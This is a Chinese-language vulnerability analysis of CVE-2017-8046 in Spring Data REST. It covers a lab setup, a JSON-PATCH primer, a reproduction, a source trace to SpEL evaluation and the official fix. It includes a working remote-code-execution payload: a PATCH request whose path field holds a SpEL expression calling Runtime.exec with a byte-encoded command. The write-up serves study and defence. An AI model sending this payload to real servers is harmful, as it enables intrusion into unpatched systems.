CVE-2017-8046分析

简介

Spring Data REST的目的是消除CURD的模板代码,减少程序员的刻板的重复劳动,但实际上并没有很多人使用。很少有请求直接操作数据库的场景,至少也要做权限校验等操作。而Spring Data REST允许请求直接操作数据库,中间没有任何的业务逻辑

漏洞的原因是对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SPEL解析导致的RCE,大部分Spring框架的RCE都是源于此

环境搭建

使用Spring官方教程:https://github.com/spring-guides/gs-accessing-data-rest.git
下载后包含多个模块,使用其中的complete项目,导入IDEA后发现是SpringBoot项目

官方不可能在教程中采用存在漏洞的代码,所以我们需要手动将pom依赖文件中SpringBoot的版本修改为存在漏洞的版本。SpringBoot是一个父依赖,其中包含spring-data-rest-webmvc这个核心组件

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>1.5.6.RELEASE</version>
</parent>

启动项目比较简单,直接运行AccessingDataRestApplication类。如果有报错,应该是junit的问题,删除src/test/java下的文件即可解决。访问localhost:8080返回如下

{
  "_links" : {
    "people" : {
      "href" : "http://localhost:8080/people{?page,size,sort}",
      "templated" : true
    },
    "profile" : {
      "href" : "http://localhost:8080/profile"
    }
  }
}

漏洞复现

PATCH

首先应该讲一下什么是PATCH,准确一点来说是JSON-PATCH。字面意思是补丁,实际意义也是补丁。主要功能是做修补,按照JSON-PATCH官方的定义:

{
  "baz": "qux",
  "foo": "bar"
}

发送这样的PATCH请求:

[
  { "op": "replace", "path": "/baz", "value": "boo" },
  { "op": "add", "path": "/hello", "value": ["world"] },
  { "op": "remove", "path": "/foo" }
]

一开始的数据就会变成:

{
  "baz": "boo",
  "hello": ["world"]
}

可以这样简单理解:op是一种操作标识,比如增删改查;path是修改的key,value是修改的value

复现

使用POST的方式为系统新增一个用户:

POST /people HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json
Content-Length: 38

{"firstName":"san","lastName":"zhang"}

返回如下:

HTTP/1.1 201 
Location: http://localhost:8080/people/1
Content-Type: application/hal+json;charset=UTF-8
Date: Thu, 22 Apr 2021 08:05:46 GMT
Connection: close
Content-Length: 221

{
  "firstName" : "san",
  "lastName" : "zhang",
  "_links" : {
    "self" : {
      "href" : "http://localhost:8080/people/1"
    },
    "person" : {
      "href" : "http://localhost:8080/people/1"
    }
  }
}

返回说明创建这个人成功,接下来我们需要使用PATCH请求对这个人的信息做更改

PATCH /people/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json-patch+json
Content-Length: 57

[{ "op": "replace", "path": "/lastName", "value": "li" }]

成功修改了名字:

HTTP/1.1 200 
Content-Type: application/hal+json;charset=UTF-8
Date: Thu, 22 Apr 2021 08:08:57 GMT
Connection: close
Content-Length: 218

{
  "firstName" : "san",
  "lastName" : "li",
  "_links" : {
    "self" : {
      "href" : "http://localhost:8080/people/1"
    },
    "person" : {
      "href" : "http://localhost:8080/people/1"
    }
  }}

漏洞存在于这个PATCH请求的path参数,我们将它修改为恶意代码,造成RCE:

PATCH /people/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json-patch+json
Content-Length: 169

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "hacker" }]

漏洞分析

从处理JSON的地方开始分析:org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()

if (request.isJsonPatchRequest()) {
    return applyPatch(request.getBody(), target);
} else {
    return applyMergePatch(request.getBody(), target);
}

判断是否是JSON-PATCH请求,如果是那么调用applyPatch方法,并传入请求的body。关于isJsonPatchRequest的内容,判断了请求方法和请求头:

public boolean isJsonPatchRequest() {
    return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
......
public boolean isPatchRequest() {
    return request.getMethod().equals(HttpMethod.PATCH);
}

关于applyPatch,看命名猜测是获得其中所有的op操作

<T> T applyPatch(InputStream source, T target) throws Exception {
    return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
private Patch getPatchOperations(InputStream source) {

    try {
        return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
    } catch (Exception o_O) {
        throw new HttpMessageNotReadableException(
                String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
    }
}

重点关注其中的convert方法,因为传入了请求body的流,也就是包含payload的部分。代码稍复杂,不过可以看出没有对path做多余的判断,直接读取后封装到Patch中返回出去。这里可以下断点具体观察,读入了path中的payload

public Patch convert(JsonNode jsonNode) {
    ......
    ArrayNode opNodes = (ArrayNode) jsonNode;
    List<PatchOperation> ops = new ArrayList<PatchOperation>(opNodes.size());
    ......
    String path = opNode.get("path").textValue();
    ......
    ops.add(new ReplaceOperation(path, value));
    ......
    return new Patch(ops);
}

这里初始化Patch的方法传入了一个ops,找到Patch的构造方法,发现ops是PatchOperation的List,找到PatchOperation的构造

public Patch(List<PatchOperation> operations) {
    this.operations = operations;
}
public PatchOperation(String op, String path, Object value) {

    this.op = op;
    this.path = path;
    this.value = value;
    this.spelExpression = pathToExpression(path);
}

发现一处有趣的地方:spel。Spring表达式,也是大部分SpringRCE的本质原因

public static Expression pathToExpression(String path) {
    return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
	private static String pathToSpEL(String path) {
		return pathNodesToSpEL(path.split("\\/"));
	}

发现这里对path分割后,pathNodesToSpEL方法做了简单的字符串重组,组成spel表达式字符串,没有做任何的校验。这里一层一层地传上去,到了convert方法的ops.add方法。PatchOperation类是一个抽象类,需要有具体的类继承,由于我们传入的op是replace,所以继承的类是ReplaceOperation

回到最上面apply方法

	<T> T applyPatch(InputStream source, T target) throws Exception {
		return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
	}
public <T> T apply(T in, Class<T> type) throws PatchException {
    for (PatchOperation operation : operations) {
        operation.perform(in, type);
    }
    return in;
}

这里传入的PatchOperation其实是子类ReplaceOperation,看下它的perform方法

@Override
<T> void perform(Object target, Class<T> type) {
    setValueOnTarget(target, evaluateValueFromTarget(target, type));
}
protected void setValueOnTarget(Object target, Object value) {
    spelExpression.setValue(target, value);
}

到这里就可以结束了,payload成功传入spel的setValue方法,造成RCE

修复

官方修复方案:https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45

String pathSource = Arrays.stream(path.split("/"))//
        .filter(it -> !it.matches("\\d")) // no digits
        .filter(it -> !it.equals("-")) // no "last element"s
        .filter(it -> !it.isEmpty()) //
        .collect(Collectors.joining("."));

解决代码如上,比如it.matches("\d")这一步,不允许存在数字,导致上面的payload失效